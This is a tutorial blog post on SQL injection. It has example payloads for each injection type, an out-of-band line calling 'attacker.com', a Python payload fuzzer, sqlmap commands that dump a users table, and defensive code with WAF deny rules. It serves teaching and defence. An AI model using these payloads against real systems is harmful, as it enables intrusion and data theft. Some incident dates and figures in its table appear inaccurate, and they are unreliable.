Introduction#
SQL Injection (SQLi) remains one of the most critical web application vulnerabilities, consistently ranking in the OWASP Top 10. Despite being well-understood for over two decades, it continues to plague applications worldwide. In this article, we’ll deep-dive into SQLi — from how it works, to how attackers exploit it, and most importantly, how to defend against it.
💡 Key Takeaway: SQL injection occurs when user-supplied data is incorporated into SQL queries without proper sanitization, allowing attackers to manipulate database operations.
What is SQL Injection?#
SQL injection is an attack technique where malicious SQL statements are inserted into application queries through user input fields. When an application fails to properly validate or sanitize input, attackers can:
- Extract sensitive data from databases
- Modify or delete database records
- Bypass authentication mechanisms
- Execute administrative operations on the database
- In some cases, achieve remote code execution on the server
The Classic Example#
Consider a simple login form that constructs a SQL query like this:
1
| SELECT * FROM users WHERE username = 'admin' AND password = 'password123';
|
If the application naively concatenates user input into the query, an attacker can input:
1
2
| Username: admin' --
Password: anything
|
This transforms the query into:
1
| SELECT * FROM users WHERE username = 'admin' --' AND password = 'anything';
|
The -- comments out the password check entirely, granting access without knowing the password.
Types of SQL Injection#
1. In-Band SQLi (Classic)#
The most common and easiest to exploit. The attacker uses the same communication channel to launch the attack and gather results.
Error-Based SQLi#
Relies on error messages from the database server to extract information:
1
| ' AND 1=CONVERT(int, (SELECT TOP 1 table_name FROM information_schema.tables)) --
|
Union-Based SQLi#
Uses the UNION SQL operator to combine results from the original query with results from injected queries:
1
| ' UNION SELECT username, password, NULL FROM users --
|
2. Blind SQLi#
When the application doesn’t show SQL errors or query results directly.
Boolean-Based Blind#
The attacker sends queries that return TRUE or FALSE and observes the application’s behavior:
1
| ' AND (SELECT SUBSTRING(username,1,1) FROM users WHERE id=1)='a' --
|
Time-Based Blind#
Uses database time delay functions to infer information:
1
| ' AND IF(1=1, SLEEP(5), 0) --
|
⚠️ Warning: Time-based blind SQLi is extremely slow but can be automated with tools like sqlmap. It’s often the last resort when no other technique works.
3. Out-of-Band SQLi#
Uses alternative channels (DNS, HTTP requests) to exfiltrate data. Less common but powerful:
1
| '; EXEC xp_dirtree '\\attacker.com\share' --
|
Hands-On: Detecting SQL Injection#
Manual Testing#
Here’s a Python script that demonstrates basic SQLi detection through fuzzing:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
| #!/usr/bin/env python3
"""
SQL Injection Detection Script
Tests common SQLi payloads against a target URL parameter.
For authorized penetration testing ONLY.
"""
import requests
import sys
from urllib.parse import urljoin
# Common SQLi test payloads
PAYLOADS = [
"'",
"''",
"' OR '1'='1",
"' OR '1'='1' --",
"' OR '1'='1' /*",
"1' ORDER BY 1--",
"1' ORDER BY 10--",
"' UNION SELECT NULL--",
"' UNION SELECT NULL,NULL--",
"1 AND 1=1",
"1 AND 1=2",
"1' AND SLEEP(5)--",
]
# Error signatures indicating potential SQLi
SQL_ERRORS = [
"you have an error in your sql syntax",
"warning: mysql",
"unclosed quotation mark",
"quoted string not properly terminated",
"microsoft ole db provider for sql server",
"postgresql query failed",
"sqlite3::queryfailed",
"ora-01756",
]
def test_sqli(base_url: str, param: str) -> list[dict]:
"""Test a URL parameter for SQL injection vulnerabilities."""
findings = []
for payload in PAYLOADS:
try:
# Send request with payload
response = requests.get(
base_url,
params={param: payload},
timeout=10,
)
# Check for SQL error messages in response
response_lower = response.text.lower()
for error in SQL_ERRORS:
if error in response_lower:
findings.append({
"payload": payload,
"error": error,
"status_code": response.status_code,
"type": "Error-Based SQLi",
})
print(f"[!] FOUND: {payload} -> {error}")
break
except requests.exceptions.Timeout:
# Timeout might indicate time-based blind SQLi
if "SLEEP" in payload or "WAITFOR" in payload:
findings.append({
"payload": payload,
"type": "Time-Based Blind SQLi (potential)",
})
print(f"[!] TIMEOUT with: {payload} (possible blind SQLi)")
except requests.exceptions.RequestException as e:
print(f"[-] Error with payload '{payload}': {e}")
return findings
if __name__ == "__main__":
if len(sys.argv) != 3:
print(f"Usage: {sys.argv[0]} <URL> <PARAM>")
print(f"Example: {sys.argv[0]} http://target.com/search id")
sys.exit(1)
target_url = sys.argv[1]
target_param = sys.argv[2]
print(f"[*] Testing {target_url} parameter '{target_param}' for SQLi...")
print(f"[*] Using {len(PAYLOADS)} payloads\n")
results = test_sqli(target_url, target_param)
print(f"\n{'='*50}")
print(f"[*] Scan complete. Found {len(results)} potential vulnerabilities.")
for r in results:
print(f" → Type: {r['type']}, Payload: {r['payload']}")
|
Using sqlmap for Automated Detection#
sqlmap is the industry-standard tool for SQLi detection and exploitation:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| # Basic scan
sqlmap -u "http://target.com/page?id=1" --batch
# With cookie authentication
sqlmap -u "http://target.com/page?id=1" --cookie="session=abc123" --batch
# Enumerate databases
sqlmap -u "http://target.com/page?id=1" --dbs
# Dump specific table
sqlmap -u "http://target.com/page?id=1" -D targetdb -T users --dump
# Test POST parameters
sqlmap -u "http://target.com/login" --data="username=admin&password=test" --batch
|
Real-World Impact#
| Year | Incident | Records Affected | Attack Vector |
|---|
| 2024 | MOVEit Transfer | 77+ million | SQLi in file transfer app |
| 2021 | Accellion FTA | 3+ million | SQLi + OS command injection |
| 2019 | Fortnite | 200+ million | SQLi in legacy website |
| 2017 | Equifax | 147 million | Apache Struts (related) |
| 2015 | TalkTalk | 157,000 | SQLi in legacy systems |
📊 Statistics: According to OWASP, injection flaws (including SQLi) have been in the Top 10 since the list’s inception. As of 2021, they’re categorized under A03:2021 — Injection.
Defense Strategies#
1. Parameterized Queries (Prepared Statements)#
The #1 defense. Always use parameterized queries instead of string concatenation:
1
2
3
4
5
6
7
| # ❌ VULNERABLE — Never do this
query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
cursor.execute(query)
# ✅ SECURE — Use parameterized queries
query = "SELECT * FROM users WHERE username = %s AND password = %s"
cursor.execute(query, (username, password))
|
In different languages:
1
2
3
4
5
6
| // Java — PreparedStatement
String query = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement stmt = connection.prepareStatement(query);
stmt.setString(1, username);
stmt.setString(2, password);
ResultSet rs = stmt.executeQuery();
|
1
2
3
4
5
| // C# — SqlCommand with parameters
string query = "SELECT * FROM users WHERE username = @user AND password = @pass";
using var cmd = new SqlCommand(query, connection);
cmd.Parameters.AddWithValue("@user", username);
cmd.Parameters.AddWithValue("@pass", password);
|
1
2
3
4
5
| // Node.js — Using mysql2 with prepared statements
const [rows] = await connection.execute(
'SELECT * FROM users WHERE username = ? AND password = ?',
[username, password]
);
|
Apply strict input validation as a defense-in-depth measure:
1
2
3
4
5
6
7
8
9
10
11
12
13
| import re
def validate_username(username: str) -> bool:
"""Allow only alphanumeric characters and underscores."""
pattern = r'^[a-zA-Z0-9_]{3,32}$'
return bool(re.match(pattern, username))
def validate_id(user_id: str) -> bool:
"""Ensure ID is a positive integer."""
try:
return int(user_id) > 0
except ValueError:
return False
|
3. Web Application Firewall (WAF) Rules#
Example ModSecurity rule to block common SQLi patterns:
1
2
3
4
5
6
| # Block common SQL injection patterns
SecRule ARGS "@rx (?i)(\b(union|select|insert|update|delete|drop|alter|create)\b.*\b(from|into|table|database|where)\b)" \
"id:1001,phase:2,deny,status:403,msg:'SQL Injection Attempt Detected'"
SecRule ARGS "@rx (?i)((\%27)|('))\s*((\%6F)|o|(\%4F))((\%72)|r|(\%52))" \
"id:1002,phase:2,deny,status:403,msg:'SQL Injection OR Attempt'"
|
4. Principle of Least Privilege#
1
2
3
4
5
6
7
8
9
| -- Create a dedicated application user with minimal permissions
CREATE USER 'webapp_user'@'localhost' IDENTIFIED BY 'strong_password_here';
-- Grant only necessary permissions
GRANT SELECT, INSERT, UPDATE ON myapp.users TO 'webapp_user'@'localhost';
GRANT SELECT ON myapp.products TO 'webapp_user'@'localhost';
-- Never grant these to application users:
-- GRANT ALL PRIVILEGES, DROP, ALTER, CREATE, FILE, PROCESS
|
SQLi Prevention Checklist#
Here are some essential tools for SQLi testing and prevention:
- sqlmap — Automatic SQL injection and database takeover tool
- Burp Suite — Web security testing platform
- OWASP ZAP — Open-source web app security scanner
- SQLi Cheat Sheet — PortSwigger’s comprehensive reference
Conclusion#
SQL injection remains a critical threat, but it’s also one of the most preventable vulnerabilities. By consistently using parameterized queries, validating input, applying least-privilege principles, and regularly testing your applications, you can effectively eliminate this attack vector.
🔑 Remember: Security is not a one-time effort — it’s an ongoing process. Stay updated with the latest techniques and continuously audit your applications.
In future posts, we’ll explore Cross-Site Scripting (XSS), Server-Side Request Forgery (SSRF), and authentication bypass techniques. Stay tuned! 🛡️